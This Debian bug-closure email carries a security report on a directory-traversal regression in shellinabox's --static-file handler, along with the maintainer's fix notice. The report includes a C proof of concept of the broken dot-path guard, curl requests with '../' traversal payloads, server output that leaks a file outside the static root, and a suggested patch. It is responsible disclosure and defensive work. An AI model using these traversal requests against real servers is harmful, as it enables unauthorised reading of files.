Your message dated Fri, 06 Nov 2026 00:35:43 +0000
with message-id <[email protected]>
and subject line Bug#1153131: fixed in shellinabox 2.21+really2.21-3
has caused the Debian Bug report #1153131,
regarding shellinabox: directory traversal regression in --static-file handler 
(externalfile.c)
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact [email protected]
immediately.)


-- 
1153131: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1153131
Debian Bug Tracking System
Contact [email protected] with problems
--- Begin Message ---
Package: shellinabox
Version: 2.21
Severity: grave
Tags: security

Hello,

Filing this publicly per Moritz Mühlenhoff's request on the Debian
Security Team thread ([email protected]), 2026-11-05: "Please
go ahead and file a public bug for this in the Debian BTS using
'reportbug shellinabox' with severity:grave and tag it as a security
bug."

shellinabox/externalfile.c's externalFileHttpHandler() (registered for
the admin-opt-in --static-file <url-path>:<local-dir> command-line
option) is supposed to block path traversal by rejecting any path
component starting with ".". This is the guard added after the
project's historical directory-traversal advisory, CVE-2012-4871. The
guard loop has a pointer-advance bug that makes it ineffective for
every path component after the first.

Root cause (externalfile.c):

if (*pathInfo) {
    strncat(fn, "/", s_size);
    const char *ptr = pathInfo;
    while (*ptr == '/') {
        ptr++;
    }
    strncat(fn, ptr, s_size);

    // Any files/directories starting with a dot are inaccessible to us
    do {
        if (*ptr == '.') {
            deleteURL(url);
            free(fn);
            httpSendReply(http, 404, "File not found", NO_MSG);
            return HTTP_DONE;
        }
        ptr = strchr(ptr + 1, '/');
    } while (ptr);
}

strchr(ptr + 1, '/') returns a pointer AT the '/' character it finds,
not past it. The loop then re-tests *ptr == '.', but ptr now points at
'/', so the comparison is always false, and the loop repeats forever
matching only slash characters. The only character of pathInfo ever
actually checked against '.' is the very first one (before the loop
starts). Every subsequent path-component boundary - including the
character right after an internal '/' that would be '.' for a ".."
component - is never inspected.

No URL-decoding happens anywhere before this handler runs, so literal
../ sequences in the raw HTTP request line work directly with no
encoding needed.

Impact: any deployment using the documented --static-file option
(serving custom CSS/branding assets - a supported, non-default
feature) exposes an unauthenticated directory-traversal file-read
primitive to any network client able to reach the HTTP(S) listener,
reading arbitrary files readable by the shellinaboxd process user.
This is a regression that reintroduces exactly the vulnerability class
and feature area of CVE-2012-4871.

Affected: shellinabox as packaged in Debian (source package
shellinabox, version 2.21), same vulnerable code as the upstream
GitHub mirror at commit 4f0ecc31ac6f985e0dd3f5a52cbfc0e9251f6361, and
also confirmed present in openSUSE Tumbleweed
(2.20+git.1548649128.4f0ecc3-4.38). Upstream (shellinabox/shellinabox)
appears unmaintained - no commits since 2019.

=== PoC 1: standalone logic confirmation (guard loop extracted verbatim) ===

/* Standalone reproduction of the loop-pointer bug in
 * shellinabox/externalfile.c:externalFileHttpHandler()'s dot-component
 * guard. Demonstrates that the guard only ever inspects the first
 * character of pathInfo, and the '/' characters it lands on afterward,
 * never the character that actually follows each '/' -- so any ".."
 * component after the first path segment is never checked.
 *
 * Compile: gcc poc_logic_test.c -o poc_logic_test
 * Run: ./poc_logic_test
 */
#include <stdio.h>
#include <string.h>

/* Exact logic copied from shellinabox/externalfile.c lines ~86-105 */
static int dotGuardBlocks(const char *pathInfo) {
  const char *ptr = pathInfo;
  while (*ptr == '/') { ptr++; }
  do {
    if (*ptr == '.') {
      return 1; /* blocked, 404 */
    }
    ptr = strchr(ptr + 1, '/');
  } while (ptr);
  return 0; /* allowed through to open() */
}

int main(void) {
  const char *tests[] = {
    "../../../etc/passwd",            /* expected: blocked (dot at offset 0) */
    "a/../../../../etc/passwd",       /* should be blocked, but bug allows it */
    "foo/bar/../../../../../etc/passwd",
    NULL
  };
  for (int i = 0; tests[i]; i++) {
    int blocked = dotGuardBlocks(tests[i]);
    printf("pathInfo=\"%s\"  guard_result=%s\n",
           tests[i], blocked ? "BLOCKED (404)" : "ALLOWED -> open(arg
+ \"/\" + pathInfo)");
  }
  return 0;
}

Output:
pathInfo="../../../etc/passwd"  guard_result=BLOCKED (404)
pathInfo="a/../../../../etc/passwd"  guard_result=ALLOWED -> open(arg
+ "/" + pathInfo)
pathInfo="foo/bar/../../../../../etc/passwd"  guard_result=ALLOWED ->
open(arg + "/" + pathInfo)

=== PoC 2: live-fire against the real, unmodified shellinaboxd daemon ===

Source used: upstream mirror shellinabox/shellinabox, commit
4f0ecc31ac6f985e0dd3f5a52cbfc0e9251f6361 ("Rolling code for version
2.21", 2019-01-27) - the same commit analyzed above. externalfile.c
was not modified; a diff against the pristine checkout showed zero
differences before the final test run below.

Build (autotools, two link/config portability fixes for modern OpenSSL
3.x - neither touches externalfile.c or any logic under test):

autoreconf -fi
./configure
# shellinaboxd fails to link against modern OpenSSL 3.x headers unless
# -lssl -lcrypto is added to shellinaboxd_LDADD in the generated Makefile,
# and the -static LDFLAGS is dropped (no static libssl/libcrypto on this
# system). Both are build-artifact edits, not source changes.
make -j4
./shellinaboxd --version
  -> ShellInABox version 2.20 (revision 4f0ecc3)

Test fixture:

mkdir -p /tmp/sib-poc/staticdir/sub
echo "STATIC_MARKER_OK_12345" > /tmp/sib-poc/staticdir/marker.txt
echo "SECRET_OUTSIDE_STATICDIR_SHOULD_NOT_BE_SERVED_7f3a9c" >
/tmp/sib-poc/secret-outside.txt

/tmp/sib-poc/staticdir is the directory handed to --static-file.
/tmp/sib-poc/secret-outside.txt sits one level above it and is never
inside the configured static-file root.

Run the real daemon:

./shellinaboxd -p 14201 --localhost-only -f /sfx:/tmp/sib-poc/staticdir -v

Requests (curl --path-as-is used so curl does not itself collapse the
../ sequences before sending; plain curl without that flag performs
RFC 3986 dot-segment removal client-side and would defeat the test
harmlessly):

Baseline, legitimate in-directory file:
$ curl -s -i --path-as-is "http://127.0.0.1:14201/sfx/marker.txt";
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Content-Length: 23

STATIC_MARKER_OK_12345

Traversal outside the configured directory:
$ curl -s -i --path-as-is
"http://127.0.0.1:14201/sfx/sub/../../secret-outside.txt";
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Content-Length: 53

SECRET_OUTSIDE_STATICDIR_SHOULD_NOT_BE_SERVED_7f3a9c

The daemon served the contents of /tmp/sib-poc/secret-outside.txt, a
file outside the /tmp/sib-poc/staticdir directory configured with
--static-file, over a real HTTP request to the real unmodified daemon.

Daemon's own access log for this run (shows the literal, undecoded ../
path it received and served with HTTP 200 - the server received and
acted on the raw traversal payload itself, not a client-collapsed
one):

[server] Version 2.20 (revision 4f0ecc3)
[server] Command line: ./shellinaboxd -p 14201 --localhost-only -f
/sfx:/tmp/sib-poc/staticdir -v
[server] Listening on port 14201...
[http] localhost - - [19/Oct/2026:03:23:46 +0300] "GET /sfx/marker.txt
HTTP/1.1" 200 103
[http] localhost - - [19/Oct/2026:03:23:46 +0300] "GET
/sfx/sub/../../secret-outside.txt HTTP/1.1" 200 133
[server] Shutting down server
[server] Done

What this rules out: curl pre-normalizing the path (ruled out by
--path-as-is and the daemon's own access log recording the literal ../
segments); the secret file actually living inside the configured
directory (ruled out by directory listing - marker.txt and sub/ are
the only entries inside staticdir); a modified binary (ruled out -
externalfile.c was diffed byte-for-byte against the pristine clone
immediately before this run); an unrelated daemon misconfiguration
granting broad access (ruled out - the same handler correctly returns
the legitimate marker.txt scoped to the directory; only the ../
payload escapes).

Suggested fix, in externalfile.c:

do {
    if (*ptr == '.') {
        ...
    }
    ptr = strchr(ptr, '/');
    if (ptr) { ptr++; }
} while (ptr && *ptr);

or more robustly: reject any pathInfo containing the literal substring
"/../", "/./", or ending in "/.." / "/.", and canonicalize with
realpath() verifying the result stays inside the configured
static-file root before open().

No CVE has been requested yet for this - happy to coordinate on
disclosure timing/CVE assignment.

Best regards,
Alex J.

--- End Message ---
--- Begin Message ---
Source: shellinabox
Source-Version: 2.21+really2.21-3
Done: Andrew Bower <[email protected]>

We believe that the bug you reported is fixed in the latest version of
shellinabox, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to [email protected],
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Andrew Bower <[email protected]> (supplier of updated shellinabox package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing [email protected])


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Format: 1.8
Date: Fri, 06 Nov 2026 00:03:34 +0000
Source: shellinabox
Architecture: source
Version: 2.21+really2.21-3
Distribution: unstable
Urgency: high
Maintainer: Package Salvaging Team <[email protected]>
Changed-By: Andrew Bower <[email protected]>
Closes: 1153131
Changes:
 shellinabox (2.21+really2.21-3) unstable; urgency=high
 .
   * patch to fix ineffective --static-file path guard (Closes: #1153131)
     Thanks: Alexandru-Ionut Jipa
Checksums-Sha1:
 9948958614de824d2d98b2957eb797f9db4ec484 2188 shellinabox_2.21+really2.21-3.dsc
 f9f0b137ef20b510217d4383b11c0a3914f67f1d 10484 
shellinabox_2.21+really2.21-3.debian.tar.xz
 78fab3beb2fd5d3c4fe46d1be84d70de1b8c7dde 6248 
shellinabox_2.21+really2.21-3_amd64.buildinfo
Checksums-Sha256:
 db76f581d7f5b5b920b4ac3bf05e32d064b10a11a7e37bb2a06c4fc3d1570362 2188 
shellinabox_2.21+really2.21-3.dsc
 dcd40076d507f3a158bce9d390556534bb81a74ca825f664b1a8879e35b8cf69 10484 
shellinabox_2.21+really2.21-3.debian.tar.xz
 f73ebaff69140421525faec06b058dac8ff48abc272cdbc795f39857c39432a8 6248 
shellinabox_2.21+really2.21-3_amd64.buildinfo
Files:
 9b8a8855f6e6964169a4fb0135540170 2188 web optional 
shellinabox_2.21+really2.21-3.dsc
 7e5d5e8a394e2b5e0a09ce9624cbcd20 10484 web optional 
shellinabox_2.21+really2.21-3.debian.tar.xz
 84a74eb580da440a2ce0994e8194268e 6248 web optional 
shellinabox_2.21+really2.21-3_amd64.buildinfo

-----BEGIN PGP SIGNATURE-----

iQJEBAEBCgAuFiEEMKYZL6LI55lncG11uqgO2W94h+kFAmrtHWMQHGFuZHJld0Bi
b3dlci51awAKCRC6qA7Zb3iH6d3CD/0Ukj31GC2r6AHxru5cnAJNloVGa1t3qU3q
UPK5DN5tdwvOG6cIj4orlgTNM7POIJ64UVYs0a7qlNKg6UbItVTmi4wTItAJTkBI
En/68kkvtgmGMqYOCVUBBs2Cinekt5ekGg3sZDws2lpgMsEec+072aBDK8lwdOpW
qmVVD4s1OIy297y+lTwip57N9n0yMh8mTt55EMz/CJ7cXgdg6p6Fh3p8mLwYYlAk
qi/bfFbpu1dGekdbSKCTRVnVcGZNPWFGTDYHEAOGNayLxB5P+NV5m0jDqpLC1Rfd
ZCLlu3yqJqIR+fuYfKisQquiP7LpOsCvt4OHL/wq8RtGsxWSYKygeoEg3mZO4pbu
XWXKwnQj+UhgzIErtaV7FTlVtQFrRhhi3+JUT8XseuleSPaBdYnYlNgTpmLyuSzd
4fB/kEz5eUx4s6QIIUA4VLfZ3Hm6grk3mKgU4qgaB08rCJaOmNq5u6YnlQ6CP4FF
tbDjMF/9VsGMRp0ndtahG8qBYTk5D8Bi9VmjHdn5T49SfcZPwnVqX9qpqo7h/0yr
BbaMYg3uOeWfPmU4x2TF7Nx5aQ4pIiWq0o1VUq0qX1a5lINGu4dZKQiwC6pcj4aF
hVMF7OgJ8HeolUqqY6r+3PUUCg4hJqjiGoHMf68CZ+Os7oYkcVmuyjAhiJ0o7RFx
L0DV35b5Rg==
=yOud
-----END PGP SIGNATURE-----

Attachment: pgpgtPkrij4J5.pgp
Description: PGP signature


--- End Message ---

Reply via email to